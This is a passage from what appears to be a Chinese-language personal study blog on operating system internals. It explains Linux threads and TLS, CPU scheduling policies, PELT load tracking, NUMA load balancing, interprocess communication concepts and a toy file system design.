解发现，我提出的这个路线实际上就是Mach、Windows、Solaris等OS的思路，但不是Linux的思路。\n由于Linux对各个资源域进行了单独的抽象，再观察task_struct的结构实现，会发现这种中心结构+结构群的表达方式，其实天生就是资源与执行解耦的。现在只是将原本解耦又耦合的对象进行了重新的解耦而已。很自然的思路就是直接修改task_struct中的映射关系，直接将代表资源的属性映射到同一份上，将代表执行的属性进行独立生成，就能很自然地实现线程的基本模型。\n在这里回头看，mm_users、mm_struct等属性的作用就很明显了，即在大家共享同一份资源时，谁来负责释放所有的资源。就好像大家共用同一个教室进行学习，最后一个走的要关灯锁门一样。\n这种可共享域的架构其实在最开始没有预料到线程的出现，但是这种架构在历史的长度中被证明是具有前瞻性的架构。往后当新资源类型出现时，Linux的默认做法就是新增一个可共享域。同样的架构后来又兑现了命名空间，进一步产生了容器技术\n在linux kernel眼中，从进程到线程，从来都只有task而已。\n关于“用户级线程”与“内核级线程”\n其根本区别在于，到底是否被内核的任务调度器所看见。上文提到过，Linux kernel中只有一种task，其n个线程在内核调度器眼中也体现为n个任务，这种线程是真正能够在多核处理器上进行并行的\n而用户级线程则不同，其常由用户态的各种库所实现，也有自己的用户态调度器，但在内核调度器眼中实则只有一个task。这种用户级线程实际根本无法在多核处理器上达成“并行”的效果，只能做到“并发”，即让用户觉得多个线程在同时推进。但用户级线程由于不被内核调度器看到，也有其好处：\n避免内核调度器进行任务调度导致的性能开销，通过汇编原语实现用户级线程切换，只需要换一个栈（毕竟栈只是用户内存空间中的一个区域），保存几个寄存器的数据即可。创建和销毁的开销等也几乎免费，非常轻量化。 策略自由：用户态线程可以高度定制化 但是坏处如下：\n不被内核调度器所看到，无法在多核处理器上真正并行 由于被内核调度器观测为一个task，一旦有任何一个线程进行了阻塞操作（IO等），会导致整个task中的所有其他线程也被丢进等待队列进行冻结。 只用用户级线程和只用内核级线程属于N：1和1：1模型；而在此之外还有n：N模型，即用户态创建n个用户级线程，同时在内核调度器眼中有N个task，这个模型是现代普遍使用的线程模型。\n线程控制块TCB 线程本地存储TLS\nTCB在教科书中被描述为与PCB相似的线程控制块。在上文说过，Linux中不论线程还是进程，统一被抽象成task_struct。而在用户态中，用户态线程的TCB其具体实现多由用户态库自行决定。\n对于Linux平台上的库pthread线程库来说，pthread结构体就是用户态的TCB。\n线程在概念上实现了资源与执行的解耦，Linux的资源域概念也一定程度上支持了这种解耦，但是仍然有一部分执行是依赖于全局变量的，这部分全局变量放在静态存储区中.data而不是栈中，无法成为每个线程的私有资源（历史包袱）。这部分无法做到完全解耦，于是这部分资源必须要随着执行而独立出来，变成每个线程一份的资源。而实现这个思路的技术就是TLS\nTLS能够将这部分资源复制出来进行私有化，让每个线程使用相同的全局变量名，通过相同的偏移（但不同的基址）访问和修改实质上私有的数据，而不会对其他线程造成影响。\n基于x86的Linux，对于每个线程的TLS，在其task_struct.thread.fsbase都会保存一份自己的TLS基地址，当切换到该thread后，会将基地址载入FS寄存器，实现相关变量的快速存取\n操作系统的任务调度 任务调度的本质是资源配置，操作系统的任务调度本质上是对各种操作系统内部资源的实时配置，以最大程度达到系统设计目标\n在OS语境里，只涉及CPU的时间资源，也就是说，内核调度器本质上是在对CPU时间资源进行实时配置。OS中的稀缺资源：内存、I/O、网络等，都有自己的一套分配/调度机制。而cgroup这类控制框架，可以将各种资源统一变成”可控制配额“\n要最大化达到系统设计目标，就要在多个互相冲突的目标之间按策略权衡——所谓仲裁\n要进行时间资源的配置，首先要完成对时间资源的量化——时间片。可以将一份时间片理解为一份资源。时间片的粒度大小会影响资源再分配频率，同时分配本身也会有性能开销，所以需要在矛盾间协调\n在Linux中，任务调度的基本单位是task，其结构是task_struct 其内部的__state、on_rq、prio、 sched_class，以及 se、rt、dl等字段都与任务调度相关，记录一个任务的状态及其所属调度类（这个任务按哪组规则调度）\n用htop可以显示当前操作系统中任务调度的情况：\n可以看到，有98个task，有1个task正在running，这个指标一般可以反应当前正在工作的CPU核心数量。\n调度器的主要作用是做决策：\n从运行队列中选择下一个运行的任务 决定该任务 具体在哪个CPU核心上执行 分配多少时间片给该任务 做完决策后，相应机制便会将任务执行在对应的CPU核心上。\n那么对于调度器的设计，就有一些设计目标，这些设计目标会受到现实条件的约束，在不同设计目标之间进行取舍，就衍生出多种多样的调度决策。接下来就介绍这些具体的设计目标或者说是调度指标\n在不同场景需要不同的目标来知道调度策略的选择，常用的调度指标包括：\n与性能相关的吞吐量（单位时间能完成多少任务）、周转时间（任务从到达到完成花了多久：完成时刻-到达时刻）、响应时间（任务到达后多久第一次得到服务：首次运行时刻-到达时刻） 非性能指标，如公平性（各任务得到的CPU是否符合约定的份额或权重）、资源利用率（是否所有硬件资源得到充分利用） 特有的需求，如实时性，能耗 这些指标在不同场景下的取舍，基本覆盖了时间资源调度的经典目标\n具体到使用场景上来说，比如批处理任务（如复杂的科学计算、模型的训练）这种任务，被执行时无须与用户进行交互，主要调度指标是吞吐量，需要让吞吐量尽可能高，让周转时间尽量短\n对于交互式任务（例如程序调试）来说，需要对用户进行相应，因此需要确保响应时间，这是主要指标\n对于与物理世界进行交互的任务，如车载系统的传感器等，需要满足实时性\n对于能耗极端场景，如移动终端设备，则重点考虑能耗\n有一些指标是所有场景通用的，如资源利用率。最后，系统使用调度器但不能够让调度器本身造成过大开销，所以调度器做决策时间需要尽量短\n以上只描述了调度指标多样性，实际调度器还面临以下挑战：\n基于有限信息做决策。调度器可获取的信息有限，没有上帝视角 任务间的复杂关系。 许多任务间可能存在互相依赖的关系，因此调度器不能把它们拆开看 由于调度器获得的信息并非所有，我认为其是在有限信息下做局部最优决策。而宏观场景上的调度指标策略选择，则是矫正这种短时间局部最优决策，让其在长时间场景上整体符合相对较优结果。\n更准确地说：调度器是在有限信息下做在线决策；长期指标规定它希望整段运行历史达到什么结果；调度策略利用当前状态和过去的记账，尽量让局部动作服务于长期目标，但通常不保证全局最优。\n本质在不确定信息下逼近长期目标\nLinux为用户提供了不同的调度策略，允许用户根据任务的种类自由挑选合适的策略（很难得到一个各方面都完美的调度策略的侧面印证）\n调度机制\n进程从生命周期角度讲，是一个状态机模型。对于这个状态机模型，进程调度机制则负责状态间的转换。\n进程调度根据职责的不同，具体分为长期、中期、短期调度\n长期调度。负责控制哪些任务可以由新生状态到预备状态。这一步的现实考量是，将一个进程从新生状态到预备状态，需要创建进程并为其初始化分配资源。如果大量进程短时间被通过该管道，会造成各种资源短时压力剧增。可以将其看作一个阀门，被放入池子的任务才具备被调度的资格。 短期调度。负责控制任务在预备、运行、阻塞状态间的转换。被长期调度阀门放进池子里的任务，已经进入了预备状态。此时这些任务是事实上可以被调度的。短期调度也是事实上做出调度决策的主体。 中期调度。实际上是换页机制的一部分。将内存资源考虑进调度的考量，如果当前内存总量不足，则中期调度会挂起被短期调度管理的任务，目的是降低任务占用的内存总量。该进程会被设置为挂起状态，无法被短期调度看见。换页机制会倾向于将被挂起的任务所用的物理页换入磁盘，并在适当时期重新激活它。 单核调度策略\n到达时间：任务进入任务队列时的时间\n运行时间：任务第一次被调度执行到任务完成总花费时间 （更准确地说，是完成该任务所需消耗的CPU时间）\n对于单核上的时间调度问题，可以将其拆解成两个正交问题：\n当前选择哪个任务进行调度 被调度的任务应该执行多久 在这两个正交问题的视角下，调度策略的设计可以看成一张二维坐标系：\n先到先得：First Come First Served 只需要维护一个队列就可以实现该策略。不需要预知任务信息，也没有将许多重要因素纳入考量，因此很难被直接应用在复杂系统中。在长短混合任务中对短任务不友好；在IO密集型任务中对所有任务都不友好。对计算密集型任务比较友好，单可能导致IO密集型任务长时间无法执行 最短任务优先：Shortest Job First 必须预知任务的运行时间。所以只能应用在一些比较固定的应用场景。对于难以预知确切运行时间的任务的场景则不友好。同时由于无法重新做选择，因此表现严重依赖于任务到达时间点。消耗时间短的多的任务可能晚于首次调度决策时间点到达，因此无法被重新选择优先执行，从而无法完全发挥最短任务优先的策略。 最短完成时间任务优先：Shortest Time-to-Completion First 利用抢占思路修复最短任务优先的弊端，使得后到的短任务可以通过抢占的方式被优先执行。FCFS与SJF都是非抢占式，而STCF是抢占式。弊端：长任务饥饿。 时间片轮转：Round Robin。重点考虑响应时间，无需预知任务的运行时间，也不会出现长任务饥饿情况。需要重点考虑时间片粒度大小——在调度器开销与小时间片带来的收益之间权衡。同时相应来说，保证公平性的情况下，对任务的周转时间不友好 优先级调度：选择函数（根据优先级确定选谁） + 重决策函数（何时重决策）每个调度算法的本质就是如何定义优先级。对于FCFS，先到的任务优先级最高；对于STCF，所需时间最短的任务优先级最高；对于RR，每种任务优先级相同。 多级队列：Multi-Level Queue，MLQ 选择函数：构建一组优先级不同的队列，每个任务预先分配优先级，落入不同的队列中。选择任务时优先选择高优先级任务的队首任务。 重决策函数：跨队列抢占（高优先级队列有任务就绪就会进行抢占）、队列内部可以针对性的选择不同策略，如FCFS或RR 弊端：1.高优先级任务源源不断可能导致低优先级任务饿死；2.优先级反转问题。由于任务之间可能存在依赖/并发关系，引入这些关系后可能会导致低优先级任务先于高优先级任务而执行。可以通过优先级继承解决 ;3.需要提前预知任务类型，进行优先级分配 多级反馈队列：Multi-Level Feedback Queue, MLFQ。对比MLQ即引入“反馈”，可以动态设置优先级： 选择函数：与MLQ不同的是，优先级为动态推算，而非预先分配。如何推算优先级：新任务预设为“短”，直接放进最高优先级队列；每层设置时间预算，单个任务花光预算就降级。最后导致：短任务始终在高位，长任务逐渐下移到低位 重决策函数：跨队列抢占、队内RR换任务、时间预算花光时降级、定时全员提升到最高级（防止长任务被饿死，也能够适应复杂任务在时间尺度上行为的变化） 如此一来，交互类的短任务能够保证交互；CPU密集型的长任务随时间被调度到底层队列，享受更长的时间片 需要对系统的具体细节深入了解，才能调整好对应的参数，实现高效的MLFQ策略。 公平共享调度\n上面介绍的调度策略，都是从单任务角度去迎合各项指标（周转时间、响应时间等）。但接下来要引入更高层级：多个任务聚合为单个group或user，在这种情况下，虽然执行角度依然是单个任务，但是调度角度已然上升到更高层次。\n在这种情况下，迎合的首要指标变为：高层次组织在总资源中的占有比例\n为了满足该指标，公平共享调度 fair-share scheduling应运而生。这类调度器会量化任务对系统资源的占有比例，从而实现对资源的公平调度。\n从另一个角度看待问题。经典调度是在(选谁 × 何时收回) 的二维平面上研究调度问题，而现在引入了第三根轴：配比/归属轴。于是调度设计空间变成三维：谁跑、何时换、凭什么身份分多少；\n引入第三维后，空间结构便自然衍生出层级或组织概念。\n在实际场景中，为了方便管理，将任务分组（称为任务组），以组为单位分配份额。在组内进一步进行任务调度以分配资源。\n所以实际上，公平共享调度策略和经典任务调度策略是共存的。\n彩票调度 拥有更多份额的组在进行任务调度时，有更大的机会被选中。本质上是通过概率进行单次选择，在大数定律的作用下使得概率逼近份额分配的期望 彩票转让 优先级继承的彩票调度版，通过彩票转让的方式避免高优先级任务被低优先级任务以锁等方式卡住 彩票货币 组的总份额变化时，等比例扩大内部子组的份额，类似于发行自己的货币，通过增加一层货币的抽象，将绝对数字转变为相对单位，带来诸多好处 彩票通胀 在彩票货币的机制下，铸币权掌握在父层/管理员手中；而如果将一部分铸币权下放到任务本身，则任务可能狂印货币，稀释其他所有任务的份额，最坏情况下会占用组内绝大部分的CPU时间。这种机制必须依赖于任务信任，即不能存在恶意任务。 随机数带来的问题：由于选择任务时依靠概率进行选择，其前置是随机数生成，所以可以从随机数生成角度思考其缺陷与对应的安全问题。 步幅调度 确定性的公平共享调度策略。假设A与B的权重为6：3，则设定A的stride为3，B的stride为6。每次被调度相当于走一步，如果双方走相同的距离，则能够保证A一定被调度的次数是B的两倍。 通过设置虚拟时间的方式，让每次任务被调度时增加一定的虚拟时间，维护服务对象的虚拟时间相同。任务的份额之比对应了任务步幅的倒数之比。\n实时调度\n服务指标是实时性：在确定的时间范围内处理完任务。\n根据任务超过截至时间的后果，实时任务可以分为两类：\n硬实时任务 系统无法承担任务处理超过截止时间的后果 软实时任务 偶尔可以超过截止时间完成，其结果是可接受的 根据被触发的时间，实时任务可以分为三类：\n周期任务 任务到达时间遵循一定周期规律 偶发任务 非周期，但同一任务两次到达有最小间隔 非周期任务 随机到达，无最小间隔 一种通用的调度策略：借用虚拟时间。同时处理批处理、交互式与实时任务\n步幅调度策略，通过虚拟时间的概念达成公平共享调度。在步幅调度中，选取下一个任务的策略是选择当时虚拟时间最少的任务。换句话说，虚拟时间在当时情况下代表了优先级。在这种基于虚拟时间的公平共享调度基础上，通过一定程度上自由设置任务的虚拟时间，就可以引入优先级调整。\nBVT如何实现优先级+公平？\nAVT actual virtual time 实际虚拟时间 EVT effective virtual time 有效虚拟时间 EVT = AVT - warp(借的时间份额) x Flag(1or0 是否借账)\n调度器永远选择EVT最小者\n若有A B，avtA与avtB都是100s，则当A借20s，此时evtA为80s，那么调度器就会一直执行A，直到evtA = evtB = 100s为止，此时avtA为120s， avtB为100s，然后flag复位，evtA会直接变为120s，相当于把未来属于自己的20s跑了\n从安全角度考虑，会限制warp大小。\n原始论文：Duda \u0026amp; Cheriton, \u0026ldquo;Borrowed-Virtual-Time Scheduling\u0026rdquo;, SOSP 1999 思想血缘：后续 CFS 的唤醒抢占（wakeup preemption）、sleeper fairness、EEVDF 的 latency-nice\n多核调度策略\n在多核系统中，任务会同时在多个CPU核心上并行执行，因此多核调度策略需要考虑：\n当前应该调度哪个/哪些任务 每个调度的任务应该在哪个CPU核心上执行 每个调度的任务应该执行多久？ 之前的单核调度问题，是在一个资源上进行排序，本质上只有一个时间维度；而现在的多核调度问题，则是在时间基础上演化为了 【时间x空间】\n单核调度问题的解决思路，是将“在一个资源上进行排序”的问题，分解成了两个正交语义，并在引入分配约束后演变为三个正交语义，并在这三个正交语义构成的向量空间中寻找解，也就是相应的策略。\n单核调度问题：在时间轴上，有正交语义：选择(f) x 触发(T) x 份额(q)\n多核调度问题：时间 x 空间正交，所以在时间轴上可以采取相同的问题分解思路；空间上也可以用相同的正交分解：选择（放哪） x 触发（迁移/再平衡） x 份额（分哪些核）\n负载分担：多核维护一个全局共享队列，哪个核空了就直接从里面取。即空间域上的FCFS 由于多核维护一个队列数据结构，为了维护该结构必须处理同步问题，随着核数量的增加该部分开销不可忽视 任务在不同CPU之间切换带来的开销，如重新载入缓存，TLB刷新等 协同调度：当想把一个任务切分为多个子任务（之间可能具有依赖或必须同时在场有通信关系），放在多核上进行并行计算时，如何良好地处理这种关系？这个问题显然发生在parallel computing场景。在paralell computing场景中，整体同步并行 Bulk Synchronous Parallelism BSP计算模型将长须的执行分为以下部分：1. 并发计算：每个CPU核心独立计算自己的子任务 2. 通信：CPU核心之间通过通信交换数据 3. 同步：一个CPU核心在到达程序设置的某个屏障点时，需要等待其他CPU核心也到达这个屏障点，才能执行后续代码逻辑。 协同调度的目的是：尽可能让一组能并行的任务并行执行，避免调度有依赖关系的任务\n协同调度的一个经典策略是群组调度 gang scheduling。将“可并行或需要共时“的任务设置为一组，并且以组为单位同时上CPU进行执行。如同AE中，AE并不负责处理订单中原料的依赖关系，只将一组可并行的原料输入可并行的机器，提高产出效率，至于依赖关系在时间上依然是串行的。 两级调度：每个CPU核心维护一个本CPU的本地调度器，所有本地调度器由一个全局调度器进行管理。全局调度器会追踪每个CPU的负载，并根据CPU负载将task进行分配。当一个task被分配至per-cpu-run-quene时，它将一直在这个队列中，不会迁移到别的CPU上执行。好处是局部性很强，不会引入任务切换CPU带来的一系列开销；坏处是可能造成负载不均 负载追踪\n由于两级调度可能会造成负载不均问题，为了解决该问题，两级调度引入了负载均衡策略：\n通过追踪每个CPU核心当前的负载情况，将处于高负载的CPU核心队列的任务迁移到低负载的CPU核心上，尽可能保证每个CPU核心的负载大致相同。在这个问题上，负载均衡与局部性是矛盾的，所以要进行取舍。在负载均衡收益\u0026gt;局部性收益时，选择负载均衡策略。而负载均衡的前提是准确追踪per cpu的负载\n过于精确追踪负载情况会带来高开销。如何保持低开销的同时对负载进行精确追踪是调度器设计的一大挑战。\n运行队列粒度的负载追踪。即追踪per cpu run queue的长度，长度越长负载越高。这种策略在Linux 3.8版本以前被使用。由于缺乏任务本身的信息，导致负载追踪既不够精确也无法直到负载均衡进行任务迁移 调度实体粒度的负载追踪。per-entity load tracking PELT 当前Linux正在用的负载均衡算法 以1024微妙为一个周期，记录任务处于可运行状态的时间（正在运行+等待被运行）记为x微秒（唯一能从行为上衡量负载的数据，等待被运行时间越多说明当前CPU越忙），该任务在第i个周期对当前cpu的利用率为x/1024，而对应的负载Li为scale_cpu_capacity (量化的CPU能力)* x / 1024 这个数据代表task在每个周期内的负载，但PELT需要计算一段时间内任务所有周期的累计负载记为L。对于计算任务当前负载的PELT来说，过于久远的历史负载信息没有太大参考意义，距离当前时间点越近的周期应当有更大贡献，所以采取衰减系数y来衰减之前周期的负载：\n计算周期 P = 1024 µs = 2^10 µs （记一\u0026quot;笔账\u0026quot;的时间粒度）\n衰减因子 γ = (1/2)^(1/32) = 2^(−1/32) ≈ 0.9785720620…\n（由\u0026quot;半衰期 = 32 个周期\u0026quot;定义：γ^32 = 1/2）\n衰减 n 周期 γ^n = 2^(−n/32)\n半衰期 32 × 1024µs = 32.768ms（文档常写 32ms）\n归一化常数 Σγ^k = 1/(1−γ) ≈ 46.67（内核整数化：LOAD_AVG_MAX = 47742 ≈ 1024×46.62）\n​Li=scale_cpu_capacity×x1024,x∈[0,1024] μsL_i = \\text{scale\\_cpu\\_capacity} \\times \\frac{x}{1024}, \\qquad x \\in [0, 1024]\\,\\mu s​\n​L=L0+L1γ+L2γ2+L3γ3+⋯L = L_0 + L_1\\gamma + L_2\\gamma^2 + L_3\\gamma^3 + \\cdots​\n无穷的历史被压缩为一个滚动更新的数\n总的来说，PELT通过这种方式计算出每个任务的负载，从而计算出每个运行队列的负载\n开销小且效果好，目前是Linux底层所使用的负载追踪算法\n负载均衡\nPELT提供了相对准确的负载追踪，但同时也要设计一个高效的负载均衡策略。需要考虑\nCPU核心间不对等 任务跨CPU迁移会引入开销 由于这种多核CPU负载均衡调度策略必须与底层硬件架构充分嵌合，所以必须考虑到现在真实的多核架构\n以服务器CPU架构代表NUMA Non-Uniform Memory Access 非一致性内存访问架构 为代表：UMA 一致内存访问，所有核通过一条总线访问同一份内存，延迟一致但总线抢占\nNUMA：把内存按节点分区，每个节点有自己的内存控制器+本地内存。代价是非一致访问延迟，即访问非本地内存会带来大延迟（1.3x - 2x 甚至更多）\n如果OS将一个task从一个NUMA节点迁移到另一个NUMA节点，会严重影响任务的执行效率。\n另外，以超线程为例，一个物理核在逻辑上被分为两个逻辑核。task在同属一个物理核的逻辑核之间切换的开销，会比在不同物理核的两个逻辑核间切换的开销小很多。\n以下介绍Linux的负载均衡策略。Linux的负载均衡策略维护两个数据结构，以这两个抽象的数据结构层次，适应不同类型不同架构的物理CPU拓扑\nsched_domain 调度域。是拥有相同特性CPU核心的集合，在这些CPU核心间可以进行负载均衡。一个调度域保存一个或多个调度组 调度组。调度组是一个调度域内进行负载均衡的整体单位。 这两个概念是互相嵌套的。一个调度域中的N个调度组，其N个调度组本身又可以视作N个第二层调度域。最后，会自然形成一个多层结构\n在这个多层结构中，理所当然的，越近的调度域/组，task migration的开销越小，越远开销越大。所以任务迁移应当积极在近组，消极在远组。遍历域内【所有】组 → 每组算账本（组负载 = 成员负载之和；组算力 = 成员算力之和）→ 选【最忙】的组 → 组内选【最忙】的 runqueue\n而进行任务迁移的方式也分两种：\n轻负载core pull 重负载core的任务到本地；重负载core push自己的任务 到 轻负载core。显然应该采取前者，因为不应该由本来就重负载的core继续承担调度的开销\nLinux的能耗感知调度\n在嵌入式设备等场景下，引入能耗作为硬约束，在这种情况下需要实现调度保证提供足够好的性能。在这种设备上，混合处理器架构为主流，大核（处理速度更快，能耗更高）与小核（能耗较低，处理速度更慢）共存。调度器可以将任务调度到不同的CPU核心上以达到节省能耗的目标。\n我的想法是这样的：要进行调度，就要收集到足够的信息。EAS需要收集的信息是哪些？这些信息是如何收集、如何被计算、如何代表相应性质的？这些信息收集到之后，如何结合硬件本身的性质进行调度的？\n进程间通信 把单个进程理解成一个系统，则系统与系统之间，如果要构程更大的系统，产生“涌现”，则必须明确系统与系统间的边界，确立系统与系统间的接口与通信。前者已经被数据结构与内核划下的界限所解决；后者在我们提出进程间通信前则还未解决。\n为什么是进程间通信？要实现两个系统间的跨系统信息交流与协作，在我眼中有两种方法：1. 两个系统外构建一个更大的结构，对这两个系统同时具有管辖权限，可以通过这个更大的结构进行中转通信。我认为现实世界中中国的行政系统就是基于这种方式解决问题的； 2.在系统与系统间设计好接口直接通信\n由于在OS中，有权限同时访问多个进程的内存空间的系统，只有内核，同时为了保证安全性，第一种方式，即在多个进程外设置更大的结构，是不可行的；第二个方式则衍生出所谓进程间通信。\n如果是所有通信都交由内核中转，必然造成内核负载加大，同时随着系统构建复杂性增加，所有需要用户态进程解决的问题都会慢慢上移到内核，那么用户态进程实际存在的意义就不大了。因此必然是内核态做审核与通道构建，而进行信息交流是用户态进程自己的任务\n以上都是我自己的理解，不对其负责。\n通信是隔离的对偶。而隔离是抽象的地基，所以任何系统中都存在隔离，那自然也存在通信。子系统所构建出的更大的系统，其系统性质 = f（子系统自身性质，通道语义，拓扑，协议）\n由于在OS中，有权限同时访问多个进程的内存空间的系统，只有内核，同时为了保证安全性，第一种方式，即在多个进程外设置更大的结构，是不可行的；第二个方式则衍生出所谓进程间通信。\n如果是所有通信都交由内核中转，必然造成内核负载加大，同时随着系统构建复杂性增加，所有需要用户态进程解决的问题都会慢慢上移到内核，那么用户态进程实际存在的意义就不大了。因此必然是内核态做审核与通道构建，而进行信息交流是用户态进程自己的任务\n以上都是我自己的理解。\n通信是隔离的对偶。而隔离是抽象的地基，所以任何系统中都存在隔离，那自然也存在通信。子系统所构建出的更大的系统，其系统性质 = f（子系统自身性质，通道语义，拓扑，协议）\n​\n在具体开始了解Linux的进程间通信策略与机制前，我们需要先对通信本身做认识。先建立一个与具体机制无关的要素模型\n通信的非平凡定义：在两个隔离的执行流之间，建立一条受控的信息路径，并协调两端的时间\n隔离是通信的前提，通信问题是“在不破坏隔离的前提下传递信息” 受控：传递信息需要跨越边界、跨越边界的过程需要被控制。如何找到对方+谁被允许。这是通信的安全面 信息路径：信道、数据面。物理上只有两种可能：复制或共享。 协调时间：如何规定动作，时序，因果 六要素：\n隔离：边界是什么？在Linux里体现为地址空间/mm、namespace 表示：传什么，如何编码？在Linux里体现为字节流本身，至于译码解码都在用户态 通道（数据面）：信息如何传递？在Linux中体现为复制+共享（会被侧信道攻击） 同步（控制面）：何时传，何时收？在Linux中体现为队列、阻塞、锁等内容 会合（命名）：怎么找到对方？在Linux里体现为fd、路径、抽象名等 授权与失败：允许通信、通信失败的处理。在Linux中有配套的权限、EOF等 ​\n由于在Linux中，正规进行信息传递的数据面只有复制 + 共享两条路可走，因此所有IPC都基于这两种方式进行实现。\n基于共享的通信机制\n假设内核已给两个进程共享了一块共享内存。有了共享内存，两个进程相当于有了一个可以交流的中间缓冲区，可以通过这个缓冲区进行通信。一个简单的模型是A和B在这块内存中各有一个独立的消息槽，双方可以往自己的槽内写内容，可以往对方的槽内读内容。对于每个槽，其是一个单工信道，两个槽组合起来就是一个半双工信道。每个槽都是一个两态状态机（无效+就绪）；用更学术的话说，这是一条每方向深度为1的单生产者-单消费者（SPSC）缓冲 + 忙等状态位协议。\n对于每个槽内部的数据，一种常见的通信数据的抽象是消息 message，包含头部与数据段。该模型即依靠message中的头部的数据位来设置自身所在槽状态的：发送者会将消息拷贝到对应的槽中，完成后依次设置头部中的状态，而接收者会持续轮询头部，一旦观测到状态信息为ready，即可以开始读取，然后发送者会轮询接受者的槽，等待接收者用相同的方式给一个response\n深入了解，要问通信带宽和时延表现、消息数据段长度设置、除了轮询有无更高效的通知方式\n上述是《现代操作系统原理与实现》中描写“一个简单的通信模型”的大致内容。\n我是这样思考的：由于共享机制提供的服务及其简单，即只提供一块共享内存，不保证其他任何事务，所以如果要在共享提供服务的前提下，考虑剩下的六要素，必须要将表示（即传递的字节流）的内容与其他要素做耦合。所以消息这种针对字节流的复杂格式协议封装就刚好嵌合进了需求？\n所以基于共享的通信机制，要支持复杂的信息传递，只能是在共享的基础上进行消息传递，甚至将许多控制面内容下移到用户态，让用户态来实现，我相信也因此一定有对应的安全问题。\n而基于复制的通信机制，则可以数据抽象粒度的不同，被划分为几种：\n通知/事件（只搬“一声响”）：信号、eventfd 字节流（连续的水流、无边界）：管道、流式socket 消息（一件一件的包裹，有边界）：消息队列、数据报socket 调用（一问一答，连配对都包了）：RPC、binder、D-Bus 基于复制的通信机制，则需要操作系统内核提供相关的接口。因此针对上述四种，甚至内部更加细分的数据抽象粒度，衍生出了多套不同的内核接口。\n而由于有了kernel这个第三者介入，之前提到的可以替代轮询的高效通知方式也就有了眉目：可以借内核对任务的调度来入手，当一个任务等待消息时，将其设置为阻塞态，避免CPU空转；而当任务等待的消息到达时，将其设置为ready。而由于整个信息的传递过程经过内核，可以在相关的执行路径上设置hook来完成任务状态的转换。\nIPC也分为同步与异步。同步IPC，在宏观上表现为函数调用，因为消息发送者往往等待接收者进行回应后才能脱离阻塞状态，在宏观上就表现为好像进行了一次函数调用。而异步IPC，其在发起异步请求时，不等待其最终结果，可以继续执行其他不具有依赖性的动作，等到事件到达后，内核再通知等待者，由程序处理结果。一般来说，IPC是否维护相关的缓冲数据结构，就会在一定程度上决定IPC设计是同步还是异步的。\n进程间的隔离为通信带来的一个问题是：通信的双方很难确认对方的状态，但IPC本身又代表了任务间存在一定的依赖关系，一旦在依赖关系的上游恶意进行阻塞，很可能会导致正常任务停摆。为了处理这种无意或恶意的消息等待问题，需要引入超时机制，允许发送者/接收者指定其发送/接收请求的等待事件，如果超时仍无反馈，则由kernel介入：1.对该过程收尾 2.返回一个错误。在实践中，超时机制很难确定好这个合理的超时时间，但也暂时没有更好的替代方案。\n容易理解的，通信也分为一对一通信与一对多广播，用另一种说法是直接通信与间接通信。前者需要指定某一个确定的对象进行信息传递，而后者则需要一个中间的信箱来完成通信，多个对象间通过信箱来传递信息，消息的发送者眼中只有信箱。\nSystem V 进程间通信权限管理\n这里讲IPC身份识别+权限管理，后续再结合文件系统回来补充\n​\n自底向上地构建文件系统：MYFS 最底层，存储设备提供的能力：按地址读写\n在常见的块设备接口中，可以把SSD/磁盘 堪称一串带编号的逻辑块：\n块号： 0 1 2 3 \u0026hellip;\n内容： [数据] [数据] [数据] [数据]\n这里先假设每块是 4096 字节，方便推演；实际设备和文件系统的单位可能不同。\n设备接口在概念上允许操作系统发出这样的请求：读取从第 100 块开始的 2 个块、把这 4096 字节写入第 200 块\n接下来，上层如何对这些数据进行组织？\n由于内存的数据会在断电后丢失，因此想在内存中存储数据来对文件系统进行组织是不可行的，或者说不能只靠内存中的数据。\n要将组织文件系统的元数据长久保存下来，其存储本身也得被保存在磁盘中。\n重启后，操作系统需要一个位置已知，格式可识别的入口，从它开始逐步找回整个文件系统。\n​\n先约定：从哪里开始读取\n假设设备有1024个块，每块4096字节。那么规定，0号块为超级块，用于描述整个文件系统；1号块为空间位图，记录块是否被占用。2 - 9号块为文件记录表，描述每个文件；10 - 1023块用于存放文件和目录的内容\n这些约定由文件系统实现定义。格式化，就是按照相关约定，写入初始管理信息，建立一个可以使用的空文件系统（自然，不必把设备上每个字节都清零）\n​\n超级块：让系统知道后面该怎么读\n超级块中可以存储这样的信息：\n{格式标识：MYFS、格式版本：1、块大小：4096字节、总块数：1024、空间位图位置：第一块、文件记录表位置：第2块、根目录的文件记录编号：1}\n这类描述整个文件系统的元数据，就称为超级块\n挂载时，文件系统驱动读取约定位置，检查格式标识和参数，再根据其中的地址找到其他结构。\n此时获得的能力：重新识别并解释这片空间。\n​\n空间位图：知道哪些块还能用\n给每个块安排一个二进制位，0表示空闲，1表示已占用。1024个块只需要1024位即128字节就能记录占用状态。格式化时，元数据存放的相关块就需要标记为已占用。以后分配空间时，就可以在为途中寻找空闲块，将其标记为已占用，然后把块地址交给文件组织层。\n​\n文件记录：把块归属到一个文件\n因此每个文件还需要一份记录，例如：\n{文件记录编号：2、类型：普通文件、有效长度：6000字节、内容块：11、12}\n两个块能够容纳8192字节，但有效文件长度仍然是6000字节，最后一块多余的空间不属于文件的有效内容。在许多Unix风格文件系统里，这种文件描述结构叫inode。\n此时获得的能力是：通过文件编号，找到文件的内容和长度。\n文件名：如何通过文件名（人类认知的符号），索引到对应的文件编号\n即，我们应该建立一条链：文件名 - 文件编号 - 文件的地址、内容和长度\n只需要在根目录保存一张映射表就可以了。\n​\n刚才提到，我们通过“文件记录”，将块以文件的抽象形式组织了起来。很关键的是，内容块是有顺序的，这里我们的MYFS姑且将其实现为一个列表[11、12]\n对于上层来说，文件是从偏移0开始的一串字节。MYFS根据数据块列表，将这串字节映射到设备位置：\n文件内的字节偏移：0 - 4095 对应块11，块内偏移0-4095\n文件内的字节偏移：4096 - 5999 对应块1200， 块内偏移0-1903\n虽然两个设备块相距很远，文件内的字节偏移仍然是连续的。这个连续性来自MYFS保存的顺序。\n到这里，MYFS向上提供一种新的操作：read(文件编号，文件内偏移，字节数)\n​\n然而，我们应该建立一个文件名到文件编号的映射，这样一种映射就叫目录项。把一组目录项放在一起，就构成一个目录：\n名字 文件编号 hello.txt 2 photo.jpg 5 notes.txt 8 MYFS把目录也作为一种文件保存，文件类型中有一项为：目录。把目录也看成一份文件，那么一个目录项也可以指向另一个目录，这样，目录层级就建立起来了：\n例如，我们希望支持路径：/docs/hello.txt\nMYFS 可以保存以下三份文件记录：\n文件编号 类型 数据块列表 1 目录 [10] 2 普通文件 [800, 1200] 3 目录 [20] 